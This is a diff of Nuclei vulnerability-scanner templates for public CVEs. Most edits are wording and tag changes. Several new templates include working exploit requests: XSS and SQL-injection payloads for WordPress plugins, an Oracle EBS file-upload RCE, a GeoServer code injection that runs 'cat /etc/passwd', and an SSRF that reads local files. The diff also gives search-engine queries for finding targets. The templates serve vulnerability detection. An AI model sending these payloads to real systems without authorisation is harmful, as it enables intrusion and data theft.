+        __EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("{{VS}}")}}&__VIEWSTATEGENERATOR={{url_encode("{{VSG}}")}}&__EVENTVALIDATION={{url_encode("{{EV}}")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96

    cookie-reuse: true
    extractors:
@@ -1,15 +1,15 @@
 id: CVE-2021-43421

 info:
-  name: Studio-42 elFinder < 2.1.60 - Arbitrary File Upload
+  name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
  author: akincibor
  severity: critical
  description: |
-    A File Upload vulnerability exists in Studio-42 elFinder 2.0.4 to 2.1.59 via connector.minimal.php, which allows a remote malicious user to upload arbitrary files and execute PHP code.
+    Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3429
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
    - https://twitter.com/infosec_90/status/1455180286354919425
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -50,3 +50,5 @@ requests:
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true
+
+# Enhanced by mp on 2023/01/15
@@ -1,11 +1,11 @@
 id: CVE-2021-43734

 info:
-  name: kkFileview v4.0.0 - Directory Traversal
+  name: kkFileview v4.0.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
-    kkFileview v4.0.0 has arbitrary file read through a directory traversal vulnerability which may lead to sensitive file leak on related host.
+    kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/304
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
@@ -37,3 +37,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -18,7 +18,7 @@ info:
  metadata:
    verified: true
    shodan-query: http.html:"Reprise License Manager"
-    google-dork: inurl:"/goforms/menu"
+    google-query: inurl:"/goforms/menu"
  tags: cve2021,rlm,auth-bypass,packetstorm,cve

 requests:
@@ -1,11 +1,12 @@
 id: CVE-2021-44451

 info:
-  name: Apache Superset - Default Login
+  name: Apache Superset <=1.3.2 - Default Login
  author: dhiyaneshDK
  severity: medium
  description: |
-    Apache Superset up to and including 1.3.2 allowed for registered database connections password leak for authenticated users. This information could be accessed in a non-trivial way.
+    Apache Superset through 1.3.2 contains a default login vulnerability via registered database connections for authenticated users. An attacker can obtain access to user accounts and thereby obtain sensitive information, modify data, and/or execute unauthorized operations.
+  remediation: Upgrade to Apache Superset 1.4.0 or higher.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/apache-superset-default-credentials.json
    - https://lists.apache.org/thread/xww1pccs2ckb5506wrf1v4lmxg198vkb
@@ -66,3 +67,5 @@ requests:
        regex:
          - 'name="csrf_token" type="hidden" value="(.*)"'
        internal: true
+
+# Enhanced by md on 2023/01/06
@@ -0,0 +1,45 @@
+id: CVE-2022-0234
+
+info:
+  name: WOOCS < 1.3.7.5 - Reflected Cross-Site Scripting
+  author: Akincibor
+  severity: medium
+  description: |
+    The plugin does not sanitise and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting
+  reference:
+    - https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0234
+    - https://plugins.trac.wordpress.org/changeset/2659191
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-0234
+    cwe-id: CWE-79
+  metadata:
+    google-query: inurl:"wp-content/plugins/woocommerce-currency-switcher"
+    verified: "true"
+  tags: wpscan,cve,cve2022,wordpress,wp-plugin,wp,xss,woocs
+
+requests:
+  - raw:
+      - |
+        GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<img src onerror=alert(document.domain)>'
+          - '"current_currency":'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,41 @@
+id: CVE-2022-0784
+
+info:
+  name: WordPress Title Experiments Free <9.0.1 - SQL Injection
+  author: theamanrawat
+  severity: critical
+  description: |
+    WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
+    - https://wordpress.org/plugins/wp-experiments-free/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-0784
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,cve2022,wordpress
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "{\"images\":")'
+        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2022-0786

 info:
-  name: KiviCare < 2.3.9 - Unauthenticated SQLi
+  name: WordPress KiviCare <2.3.9 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users.
+    WordPress KiviCare plugin before 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30
    - https://wordpress.org/plugins/kivicare-clinic-management-system/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-89
  metadata:
    verified: "true"
-  tags: wordpress,wp-plugin,wp,sqli,kivicare-clinic-management-system,unauth,cve,cve2022,wpscan
+  tags: sqli,kivicare-clinic-management-system,unauth,wordpress,wp-plugin,wp,cve,cve2022,wpscan

 requests:
  - raw:
@@ -34,3 +34,5 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Doctor details")'
        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -1,11 +1,11 @@
 id: CVE-2022-0826

 info:
-  name: WP Video Gallery <= 1.7.1 - Unauthenticated SQLi
+  name: WordPress WP Video Gallery <=1.7.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The WP Video Gallery WordPress plugin through 1.7.1 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users.
+    WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5
    - https://wordpress.org/plugins/wp-video-gallery-free/
@@ -37,3 +37,5 @@ requests:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Registred videos :")'
        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -1,16 +1,16 @@
 id: CVE-2022-0948

 info:
-  name: Order Listener for WooCommerce < 3.2.2 - Unauthenticated SQLi
+  name: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
-    The Order Listener for WooCommerce WordPress plugin before 3.2.2 does not sanitise and escape the id parameter before using it in a SQL statement via a REST route available to unauthenticated users, leading to an SQL injection.
+    WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576
    - https://wordpress.org/plugins/woc-order-alert/
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-0948
    - https://plugins.trac.wordpress.org/changeset/2707223
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -43,3 +43,5 @@ requests:
          - 'contains(content_type_1, "application/json")'
          - 'contains(body_2, "olistener-action.olistener-controller")'
        condition: and
+
+# Enhanced by md on 2023/01/06
@@ -0,0 +1,44 @@
+id: CVE-2022-1168
+
+info:
+  name: JobSearch < 1.5.1 - Cross-Site Scripting
+  author: Akincibor
+  severity: medium
+  description: |
+    There is a Cross-Site Scripting vulnerability in the JobSearch WP JobSearch WordPress plugin before 1.5.1.
+  reference:
+    - https://wpscan.com/vulnerability/bcf38e87-011e-4540-8bfb-c93443a4a490
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-1168
+    - https://codecanyon.net/item/jobsearch-wp-job-board-wordpress-plugin/21066856
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-1168
+    cwe-id: CWE-79
+  metadata:
+    google-query: inurl:"wp-content/plugins/wp-jobsearch"
+    verified: "true"
+  tags: wp-jobsearch",wpscan,cve,cve2022,wp-plugin,wp,wordpress,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<img src=x onerror=alert(domain)>"
+          - "wp-jobsearch"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 404
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-1442
    cwe-id: CWE-862
  metadata:
-    google-dork: inurl:/wp-content/plugins/metform
+    google-query: inurl:/wp-content/plugins/metform
    verified: "true"
  tags: wpscan,cve2022,wordpress,wp-plugin,disclosure,unauth,metform,cve,wp

@@ -1,11 +1,11 @@
 id: CVE-2022-1595

 info:
-  name: HC Custom WP-Admin URL - 1.4 - Unauthenticated Secret URL Disclosure
+  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
  author: theamanrawat
  severity: medium
  description: |
-    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request.
+    WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
  reference:
    - https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
@@ -17,7 +17,7 @@ info:
    cwe-id: CWE-200
  metadata:
    verified: "true"
-  tags: wp-plugin,wp,hc-custom-wp-admin-url,unauth,wpscan,cve,cve2022,wordpress
+  tags: unauth,wpscan,cve,cve2022,wordpress,wp-plugin,wp,hc-custom-wp-admin-url

 requests:
  - raw:
@@ -38,3 +38,5 @@ requests:
      - type: status
        status:
          - 302
+
+# Enhanced by md on 2023/01/06
@@ -0,0 +1,76 @@
+id: CVE-2022-21587
+
+info:
+  name: Oracle EBS Unauthenticated - Remote Code Execution
+  author: rootxharsh,iamnoooob
+  severity: critical
+  description: |
+    Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator.
+  reference:
+    - https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/
+    - https://www.oracle.com/security-alerts/cpuoct2022.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-21587
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-21587
+  tags: cve,cve2022,rce,oast,intrusive,oracle,ebs,unauth
+
+requests:
+  - raw:
+      - |
+        POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv
+
+        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
+        Content-Disposition: form-data; name="bne:uueupload"
+
+        TRUE
+        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
+        Content-Disposition: form-data; name="uploadfilename";filename="testzuue.zip"
+
+        begin 664 test.zip
+        M4$L#!!0``````"]P-%;HR5LG>@```'H```!#````+BXO+BXO+BXO+BXO+BXO
+        M1DU77TAO;64O3W)A8VQE7T5"4RUA<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.
+        M1%=24BYP;'5S92!#1TD["G!R:6YT($-'23HZ:&5A9&5R*"`M='EP92`]/B`G
+        M=&5X="]P;&%I;B<@*3L*;7D@)&-M9"`](")E8VAO($YU8VQE:2U#5D4M,C`R
+        M,BTR,34X-R(["G!R:6YT('-Y<W1E;2@D8VUD*3L*97AI="`P.PH*4$L!`A0#
+        M%```````+W`T5NC)6R=Z````>@```$,``````````````+2!`````"XN+RXN
+        M+RXN+RXN+RXN+T9-5U](;VUE+T]R86-L95]%0E,M87!P,2]C;VUM;VXO<V-R
+        G:7!T<R]T>&M&3D174E(N<&Q02P4&``````$``0!Q````VP``````
+        `
+        end
+        ------WebKitFormBoundaryZsMro0UsAQYLDZGv--
+
+      - |
+        GET /OA_CGI/FNDWRR.exe HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv
+
+        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
+        Content-Disposition: form-data; name="bne:uueupload"
+
+        TRUE
+        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
+        Content-Disposition: form-data; name="uploadfilename";filename="testzuue.zip"
+
+        begin 664 test.zip
+        M4$L#!!0``````&UP-%:3!M<R`0````$```!#````+BXO+BXO+BXO+BXO+BXO
+        M1DU77TAO;64O3W)A8VQE7T5"4RUA<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.
+        M1%=24BYP;`I02P$"%`,4``````!M<#16DP;7,@$````!````0P``````````
+        M````M($`````+BXO+BXO+BXO+BXO+BXO1DU77TAO;64O3W)A8VQE7T5"4RUA
+        M<'`Q+V-O;6UO;B]S8W)I<'1S+W1X:T9.1%=24BYP;%!+!08``````0`!`'$`
+        (``!B````````
+        `
+        end
+
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - Nuclei-CVE-2022-21587
@@ -16,7 +16,7 @@ info:
    cve-id: CVE-2022-2314
  metadata:
    verified: "true"
-  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan
+  tags: rce,unauth,wpscan,cve,cve2022,wp,vr-calendar-sync,wordpress,wp-plugin

 requests:
  - raw:
@@ -1,13 +1,14 @@
 id: CVE-2022-23854

 info:
-  name: AVEVA InTouch Access Anywhere Secure Gateway - Path Traversal
+  name: AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
-    AVEVA Group plc is a marine and plant engineering IT company headquartered in Cambridge, England. AVEVA software is used in many sectors, including on- and off-shore oil and gas processing, chemicals, pharmaceuticals, nuclear and conventional power generation, nuclear fuel reprocessing, recycling and shipbuilding (https://www.aveva.com).
+    AVEVA InTouch Access Anywhere Secure Gateway is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/cve/CVE-2022-23854
+    - https://www.aveva.com
    - https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
    - https://www.cisa.gov/uscert/ics/advisories/icsa-22-342-02
@@ -42,3 +43,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -0,0 +1,73 @@
+id: CVE-2022-24816
+
+info:
+  name: Geoserver Server - Code Injection
+  author: mukundbhuva
+  severity: critical
+  description: |
+    Programs using jt-jiffle, and allowing Jiffle script to be provided via network request, are susceptible to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects the downstream GeoServer project Version < 1.1.22.
+  reference:
+    - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-24816
+    - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
+    - https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-24816
+    cwe-id: CWE-94
+  metadata:
+    fofa-query: app="GeoServer"
+    shodan-query: /geoserver/
+    verified: "true"
+  tags: cve,cve2022,geoserver,rce
+
+requests:
+  - raw:
+      - |
+        POST /geoserver/wms HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0" encoding="UTF-8"?>
+          <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
+            <ows:Identifier>ras:Jiffle</ows:Identifier>
+            <wps:DataInputs>
+              <wps:Input>
+                <ows:Identifier>coverage</ows:Identifier>
+                <wps:Data>
+                  <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
+                </wps:Data>
+              </wps:Input>
+              <wps:Input>
+                <ows:Identifier>script</ows:Identifier>
+                <wps:Data>
+                  <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
+                </wps:Data>
+              </wps:Input>
+              <wps:Input>
+                <ows:Identifier>outputType</ows:Identifier>
+                <wps:Data>
+                  <wps:LiteralData>DOUBLE</wps:LiteralData>
+                </wps:Data>
+              </wps:Input>
+            </wps:DataInputs>
+            <wps:ResponseForm>
+              <wps:RawDataOutput mimeType="image/tiff">
+                <ows:Identifier>result</ows:Identifier>
+              </wps:RawDataOutput>
+            </wps:ResponseForm>
+          </wps:Execute>
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+          - "ExceptionInInitializerError"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -3,19 +3,15 @@ id: CVE-2022-24990
 info:
  name: TerraMaster TOS < 4.2.30 Server Information Disclosure
  author: dwisiswant0
-  severity: high
+  severity: medium
  description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
  reference:
    - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
-    - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
-    - https://forum.terra-master.com/en/viewforum.php?f=28
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
    cve-id: CVE-2022-24990
  metadata:
    shodan-query: TerraMaster
-  tags: cve,cve2022,terramaster,exposure,kev
+  tags: cve,cve2022,terramaster,exposure

 requests:
  - method: GET
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2022-25356
    cwe-id: CWE-91
  metadata:
-    google-dork: inurl:"/SecurityGateway.dll"
+    google-query: inurl:"/SecurityGateway.dll"
    verified: "true"
  tags: cve,cve2022,altn,gateway,xml,injection

@@ -12,12 +12,9 @@ info:
    - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2546
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 4.7
    cve-id: CVE-2022-2546
-    cwe-id: CWE-79
  metadata:
-    verified: "true"
+    verified: true
  tags: cve,all-in-one-wp-migration,authenticated,wpscan,cve2022,wordpress,wp-plugin,wp,xss

 requests:
@@ -1,16 +1,16 @@
 id: CVE-2022-26138

 info:
-  name: Questions For Confluence - Hardcoded Credentials
+  name: Atlassian Questions For Confluence - Hardcoded Credentials
  author: HTTPVoid
  severity: critical
  description: |
-    A remote, unauthenticated attacker with knowledge of the hardcoded password could exploit this to log into Confluence and access all content accessible to users in the confluence-users group.
+    Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
  reference:
    - https://twitter.com/fluepke/status/1549892089181257729
    - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-26138
    - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-26138
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -39,4 +39,6 @@ requests:
    matchers:
      - type: dsl
        dsl:
-          - 'location == "/httpvoid.action"'
+          - 'location == "/httpvoid.action"'
+
+# Enhanced by md on 2023/01/06
@@ -16,7 +16,7 @@ info:
    cwe-id: CWE-80
  metadata:
    verified: true
-    google-dork: inurl:/u8sl/WebHelp
+    google-query: inurl:/u8sl/WebHelp
  tags: cve,cve2022,yonyou,xss

 headless:
@@ -1,16 +1,15 @@
 id: CVE-2022-27593

 info:
-  name: QNAP QTS Photo Station External Reference
+  name: QNAP QTS Photo Station External Reference - Local File Inclusion
  author: allenwest24
  severity: critical
  description: |
-    An externally controlled reference to a resource vulnerability has been reported to affect QNAP NAS running Photo Station. If exploited, This could allow an attacker to modify system files. We have already fixed the vulnerability in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later
+    QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
  reference:
    - https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
    - https://www.qnap.com/en/security-advisory/qsa-22-24
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27593
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
@@ -38,4 +37,6 @@ requests:

      - type: status
        status:
-          - 200
+          - 200
+
+# Enhanced by mp on 2023/01/15
@@ -0,0 +1,79 @@
+id: CVE-2022-28117
+
+info:
+  name: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF)
+  author: theabhinavgaur
+  severity: medium
+  description: |
+    A Server-Side Request Forgery (SSRF) in feed_parser class of Navigate CMS v2.9.4 allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs into the feed parameter.
+  reference:
+    - https://packetstormsecurity.com/files/167063/Navigate-CMS-2.9.4-Server-Side-Request-Forgery.html
+    - https://www.navigatecms.com/en/blog/development/navigate_cms_update_2_9_5
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-28117
+    - https://www.youtube.com/watch?v=4kHW95CMfD0
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
+    cvss-score: 4.9
+    cve-id: CVE-2022-28117
+    cwe-id: CWE-918
+  metadata:
+    verified: "true"
+  tags: authenticated,packetstorm,cve,cve2022,ssrf,navigate,cms,lfi
+
+
+requests:
+  - raw:
+      - |
+        GET /navigate/login.php HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /navigate/login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=---------------------------123456789012345678901234567890
+
+        -----------------------------123456789012345678901234567890
+        Content-Disposition: form-data; name="login-username"
+
+        {{username}}
+        -----------------------------123456789012345678901234567890
+        Content-Disposition: form-data; name="csrf_token"
+
+        {{csrf_token}}
+        -----------------------------123456789012345678901234567890
+        Content-Disposition: form-data; name="login-password"
+
+        {{password}}
+        -----------------------------123456789012345678901234567890
+
+      - |
+        POST /navigate/navigate.php?fid=dashboard&act=json&oper=feed HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        limit=5&language=en&url=file:///etc/passwd
+
+      - |
+        GET /navigate/private/1/cache/0f1726ba83325848d47e216b29d5ab99.feed HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: csrf_token
+        part: body
+        group: 1
+        regex:
+          - 'csrf_token" value="([a-f0-9]{64})'
+        internal: true
@@ -1,15 +1,15 @@
 id: CVE-2022-2863

 info:
-  name: WordPress WPvivid Backup < 0.9.76 - Local File Inclusion
+  name: WordPress WPvivid Backup <0.9.76 - Local File Inclusion
  author: tehtbl
  severity: medium
-  description: The plugin does not sanitise and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server via a Traversal attack.
+  description: WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
  reference:
    - https://seclists.org/fulldisclosure/2022/Oct/0
    - https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2863
    - http://packetstormsecurity.com/files/168616/WordPress-WPvivid-Backup-Path-Traversal.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-2863
  remediation: Upgrade to version 0.9.76 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
@@ -56,3 +56,5 @@ requests:
        regex:
          - '"_ajax_nonce":"([0-9a-z]+)"'
        internal: true
+
+# Enhanced by mp on 2023/01/15
@@ -0,0 +1,50 @@
+id: CVE-2022-29153
+
+info:
+  name: HashiCorp Consul/Enterprise - Server Side Request Forgery
+  author: c-sh0
+  severity: high
+  description: |
